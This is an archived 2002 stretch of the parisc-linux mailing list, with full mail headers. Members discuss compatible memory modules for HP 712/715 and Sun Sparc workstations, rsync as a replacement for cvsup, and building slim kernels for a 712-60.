Harri is right here, I was mixing SunSparc and HP-PARisk architectures. =
The
712 memory does NOT fit (without a hamer).

>=20
> > Try what the bootloader says if you fit it with pc-based memory
> > modules, that have the same physical lay-out. (edo-ram is a=20
> term that
> > comes to mind, try it or it's predecessor).
>=20
> EDO AFAIK never occurs together with ECC so that's the word to avoid
> when looking for ram for older workstations ad servers.
> 36-bit FPM True-parity ECC SIMMs are what work in, for example, DEC
> Alpha AXPpci, Multia, SGI Indy, Indigo=B2, matching Challenges,=20
> IBM RS6000
> 7006 and other machines of the era and most(?) pc's. No kind=20
> of EDO ram
> works.
>=20
> > I might be totaly wrong here, in those days (a former job)=20
> I was using
> > both SunSparc stations and HP 712 machines.
>=20
> Sparcstations mostly use weird rams like JEDEC DIMM's apart from the
> very old ones that use 36-pin simm's that seem regular.

Sun Sparc ELC and SunSparcClassic (and similar Sparc 4C architecture?) =
can
use the same memory modules as 486-PC's. Those are NOT edo ram as in
pentium-pc's, however they do fit... It might not be what Sun tells, it =
is
wat is currently running at home...

>=20
>=20
> This is what I remember. No guarantees either.

I've tried EDO ram in a SParc Classic but it does not show up. After a =
short
test (15 minutes power on and try to use it) I experienced no damage on =
both
processorboard or memory. Then, again: no guarantees...

>=20
> --=20
> I used to herd dairy cows. Now I herd lusers. Apart from the=20
> isolation,
> I think I preferred the cows. They were better conversation, easier =
to
> milk, and if they annoyed me enough, I could shoot them and eat them.
> 		-- Rodger Donaldson=20

Now I know where the name "tucows" comes from ;-)



CBee

------_=_NextPart_001_01C270FB.257B1240
Content-Type: text/html;
	charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-15">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Which Memory to use on a 715/80?</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Harri Haataja [<A =
HREF=3D"mailto:harri.haataja@smilehouse.com">mailto:harri.haataja@smileh=
ouse.com</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On Thu, Oct 10, 2002 at 05:34:47PM +0200, =
&quot;Beerse, Corn=E9&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; From: Grant Grundler [<A =
HREF=3D"mailto:grundler@dsl2.external.hp.com">mailto:grundler@dsl2.exter=
nal.hp.com</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Derek Engelhaupt wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; Well, don't think any other =
manufacturer made memory for the 715</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; series.&nbsp; I have looked at =
Dataram and others, but they only seem</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; to have memory for the D,K,N,L, =
and A class servers.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; I thought Kingston *did* (maybe no =
more).</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I recal by head (and might be wrong) to =
have used pc-based memory</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; modules in a 712/80. There was something =
with parity (it needs it or</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; it hates it, don't know).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; You usually hear that HP uses similiar form but =
completely different</FONT>
<BR><FONT SIZE=3D2>&gt; ram. But that's mostly on 715/735/800, maybe =
712 was different. That</FONT>
<BR><FONT SIZE=3D2>&gt; would be a pleasant surprise.</FONT>
<BR><FONT SIZE=3D2>&gt; Mostly you always want parity. I would doubt =
anything explicitly</FONT>
<BR><FONT SIZE=3D2>&gt; demanding no parity.</FONT>
</P>

<P><FONT SIZE=3D2>Harri is right here, I was mixing SunSparc and =
HP-PARisk architectures. The 712 memory does NOT fit (without a =
hamer).</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Try what the bootloader says if you fit it =
with pc-based memory</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; modules, that have the same physical =
lay-out. (edo-ram is a </FONT>
<BR><FONT SIZE=3D2>&gt; term that</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; comes to mind, try it or it's =
predecessor).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; EDO AFAIK never occurs together with ECC so =
that's the word to avoid</FONT>
<BR><FONT SIZE=3D2>&gt; when looking for ram for older workstations ad =
servers.</FONT>
<BR><FONT SIZE=3D2>&gt; 36-bit FPM True-parity ECC SIMMs are what work =
in, for example, DEC</FONT>
<BR><FONT SIZE=3D2>&gt; Alpha AXPpci, Multia, SGI Indy, Indigo=B2, =
matching Challenges, </FONT>
<BR><FONT SIZE=3D2>&gt; IBM RS6000</FONT>
<BR><FONT SIZE=3D2>&gt; 7006 and other machines of the era and most(?) =
pc's. No kind </FONT>
<BR><FONT SIZE=3D2>&gt; of EDO ram</FONT>
<BR><FONT SIZE=3D2>&gt; works.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I might be totaly wrong here, in those =
days (a former job) </FONT>
<BR><FONT SIZE=3D2>&gt; I was using</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; both SunSparc stations and HP 712 =
machines.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Sparcstations mostly use weird rams like JEDEC =
DIMM's apart from the</FONT>
<BR><FONT SIZE=3D2>&gt; very old ones that use 36-pin simm's that seem =
regular.</FONT>
</P>

<P><FONT SIZE=3D2>Sun Sparc ELC and SunSparcClassic (and similar Sparc =
4C architecture?) can use the same memory modules as 486-PC's. Those =
are NOT edo ram as in pentium-pc's, however they do fit... It might not =
be what Sun tells, it is wat is currently running at home...</FONT></P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; This is what I remember. No guarantees =
either.</FONT>
</P>

<P><FONT SIZE=3D2>I've tried EDO ram in a SParc Classic but it does not =
show up. After a short test (15 minutes power on and try to use it) I =
experienced no damage on both processorboard or memory. Then, again: no =
guarantees...</FONT></P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; -- </FONT>
<BR><FONT SIZE=3D2>&gt; I used to herd dairy cows. Now I herd lusers. =
Apart from the </FONT>
<BR><FONT SIZE=3D2>&gt; isolation,</FONT>
<BR><FONT SIZE=3D2>&gt; I think I preferred the cows. They were better =
conversation, easier to</FONT>
<BR><FONT SIZE=3D2>&gt; milk, and if they annoyed me enough, I could =
shoot them and eat them.</FONT>
<BR><FONT SIZE=3D2>&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- Rodger Donaldson </FONT>
</P>

<P><FONT SIZE=3D2>Now I know where the name &quot;tucows&quot; comes =
from ;-)</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C270FB.257B1240--


From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvsup for hppa?
Date: Fri, 11 Oct 2002 10:16:24 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <3DA688D8.7030502@visoel.de>
References: <3D8EED0B00001C0B@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621817 15554 80.91.229.3 (22 Nov 2014 02:03:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 02:12:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C5E94829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 02:12:13 -0600 (MDT)
Original-Received: from visoel.de (dialin-145-254-074-067.arcor-ip.net [145.254.74.67])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id KAA24311
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 10:12:08 +0200 (MEST)
User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; Stable) Gecko/20020911 Beonex/0.8.1-stable
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16448

Hello list,

>>is there cvsup for hppa?
> 
> Do you speek about package.
> If yes, I also have a look in cvsup. And cvsup is written in 'pm3' (Modula3)
> which has a lot of platform dependent code and it is unfortunately only packaged
> for i386 . And I did not know if its successor cm3 is already pakaged :(.

I use rsync now. It works fine for me...

Best regards, Tilo



From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Fri, 11 Oct 2002 10:21:11 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <3DA689F7.9000208@visoel.de>
References: <200210081427.IAA27522@udlkern.fc.hp.com> <20021008234854.GE18202@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621817 15556 80.91.229.3 (22 Nov 2014 02:03:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 02:17:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natwar.webmailer.de [192.67.198.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id A53EC4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 02:16:59 -0600 (MDT)
Original-Received: from visoel.de (dialin-145-254-074-067.arcor-ip.net [145.254.74.67])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id KAA00095
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 10:16:54 +0200 (MEST)
User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; Stable) Gecko/20020911 Beonex/0.8.1-stable
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16449

hello,

what does happen if I compile my own kernel without HIL support? My 
machine runs as server without keyboard and mouse and I hope I must 
never use the keyboard ;-)

Best regards, Tilo



From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Yves Bodack" <bodack@stud.fh-heilbronn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Which Memory to use on a 715/80?
Date: Fri, 11 Oct 2002 10:53:15 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <004001c27103$a37bdf00$1f96078d@acid>
References: <20021009193130.GA708@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621817 15558 80.91.229.3 (22 Nov 2014 02:03:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:37 +0000 (UTC)
To: "PaRisc-List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 02:52:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns1.rz.fh-heilbronn.de (dns1.rz.fh-heilbronn.de [141.7.1.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 920E74829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 02:52:28 -0600 (MDT)
Original-Received: from lisa.stud.fh-heilbronn.de (lisa.stud.fh-heilbronn.de [141.7.11.14])
	by dns1.rz.fh-heilbronn.de (8.12.2/8.12.2) with ESMTP id g9B8qOAx006295
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 10:52:25 +0200 (MET DST)
Original-Received: from acid (acid.stuwo.fh-heilbronn.de [141.7.150.31])
	by lisa.stud.fh-heilbronn.de (8.12.2/8.12.2) with SMTP id g9B8qOIC001558
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Oct 2002 10:52:24 +0200 (MEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16450

From: "Christian Weerts" <cw@familie-weerts.de>
Subject: [parisc-linux] Which Memory to use on a 715/80?


> My 715/80 has a memory problem. Perhaps i need new memory.
> Which is the right one to buy?

I've tried FPM Parity RAM in my 712 and it didn't work. I'm shure it's same
on 715,
but you can get it quite cheap on eBay.de (Computer/Workstations).
I have 48MB (6x8MB) spare modules, if you are interested, i sell them to
you. Send me an off list mail.

Greetings,
Yves...




From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 12:03:20 +0300 (EEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0210111156240.24681-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621818 15561 80.91.229.3 (22 Nov 2014 02:03:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:38 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 03:03:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hal.pp.fishpool.fi (hal.pp.fishpool.fi [195.197.229.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id D62874831
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 03:03:23 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 17zvhY-00078s-00
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 12:03:20 +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16451

Greetings,=20

I'm compiling my own kernel and I have some questions.  My goal is to produ=
ce a
kernel that is as lightweight as possible, which implies disabling support =
for
hardware that is not found on this 712-60. =20

At this point, I apt-got kernel-source-2.4.19-hppa and unpacked it, and alr=
eady
selected the 7100LC/7300LC CPU option.  What else?  Has anybody compiled a =
FAQ
on parisc-linux that provides .config files optimized for each PA-RISC hard=
ware
or, alternately, a checklist of hardware one finds in product xxx, referenc=
ed by
Linux kernel feature or module name?=20

PS:  I don't subscribe to parisc-linux.  Please CC replies to this address.

--=20
Martin-=C9ric Racine, Espoo, Finland.
"Kas sa tahad mind? - Nej!!! =C4r du en idiot?!!"
http://www.pp.fishpool.fi/~q-funk/



From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk@pp.fishpool.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 12:34:43 +0300 (EEST)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0210111227030.24681-100000@hal.pp.fishpool.fi>
References: <02Oct11.113022cest.119055@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416621818 15565 80.91.229.3 (22 Nov 2014 02:03:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:38 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: =?iso-8859-1?Q?Beerse=2C_Corn=E9?= <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 03:34:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hal.pp.fishpool.fi (hal.pp.fishpool.fi [195.197.229.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 234AD4837
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 03:34:48 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 17zwBv-0007Dy-00; Fri, 11 Oct 2002 12:34:43 +0300
In-Reply-To: <02Oct11.113022cest.119055@ns.hiscom.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16452

On Fri, 11 Oct 2002, "Beerse, Corn=E9" wrote:

> > At this point, I apt-got kernel-source-2.4.19-hppa and=20
> > unpacked it, and already
> > selected the 7100LC/7300LC CPU option.  What else?  Has=20
> > anybody compiled a FAQ
> > on parisc-linux that provides .config files optimized for=20
> > each PA-RISC hardware
> > or, alternately, a checklist of hardware one finds in product=20
> > xxx, referenced by
> > Linux kernel feature or module name?=20
>=20
> Have you checked the hardware database on the website?
> (http://www.parisc-linux.org/) That gives an overview on what whas in the
> origional box.

http://hwdb.parisc-linux.org/view.php3?type=3Dmachine&name=3D712%2F60

That page could have been written in Chinese, it would have been equally cl=
ear. =20

I guess I'm just used to PC hardware, where kernel compiling simply means "=
if
you have graphics card XXX select the driver with the same name". I've yet =
to
find that simplicity in HP hardware, probably because everything is done vi=
a
custom chips that combine several functions, and it is not clear to me whic=
h
chip does what, as every line in that page starts with Gecko.

--=20
Martin-=C9ric Racine, Espoo, Finland.
"Kas sa tahad mind? - Nej!!! =C4r du en idiot?!!"
http://www.pp.fishpool.fi/~q-funk/




From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware features of 712-60 ?
Followup-To: gmane.linux.ports.hppa
Date: Fri, 11 Oct 2002 10:40:46 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20021011094046.GC1238@tykepenguin.com>
References: <02Oct11.113022cest.119055@ns.hiscom.nl> <Pine.LNX.4.21.0210111227030.24681-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621818 15568 80.91.229.3 (22 Nov 2014 02:03:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:38 +0000 (UTC)
To: parisc-linux <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 03:40:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust7.leed.broadband.ntl.com [80.7.68.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2205F4837
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 03:40:50 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.36 #1 (Debian))
	id 17zwHm-0004gG-00
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 10:40:46 +0100
Mail-Followup-To: parisc-linux <parisc-linux@parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0210111227030.24681-100000@hal.pp.fishpool.fi>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16453

On Fri, Oct 11, 2002 at 12:34:43PM +0300, Martin-?ric Racine wrote:
> On Fri, 11 Oct 2002, "Beerse, Corn?" wrote:
> 
> > 
> > Have you checked the hardware database on the website?
> > (http://www.parisc-linux.org/) That gives an overview on what whas in the
> > origional box.
> 
> http://hwdb.parisc-linux.org/view.php3?type=machine&name=712%2F60
> 
> That page could have been written in Chinese, it would have been equally clear.  
> 
> I guess I'm just used to PC hardware, where kernel compiling simply means "if
> you have graphics card XXX select the driver with the same name". I've yet to
> find that simplicity in HP hardware, probably because everything is done via
> custom chips that combine several functions, and it is not clear to me which
> chip does what, as every line in that page starts with Gecko.

The thing is, it should be simpler than a PC because HP hardware (similar to
most large manufacturers) is pretty standard for any particular machine.

I suppose what you really want is a template .config for each type of machine
available from that page and a user just drops it in place and build a kernel
for it. If you stick other cards in the machine then it's up to you to figure
out the kernel options.

I'll volunteer one for a C110 :-)

patrick



From - Thu Nov 08 21:25:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] hardware features of 712-60 ?
Date: Fri, 11 Oct 2002 11:47:40 +0200
Lines: 161
Approved: news@gmane.org
Message-ID: <02Oct11.120046cest.119067@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2710B.3D2D40B0"
X-Trace: ger.gmane.org 1416621819 15570 80.91.229.3 (22 Nov 2014 02:03:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:39 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: =?iso-8859-1?Q?=27Martin-=C9ric_Racine=27?= <q-funk@pp.fishpool.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 11 03:48:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D9774829
	for <parisc-linux@parisc-linux.org>; Fri, 11 Oct 2002 03:48:19 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119067>; Fri, 11 Oct 2002 12:00:46 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
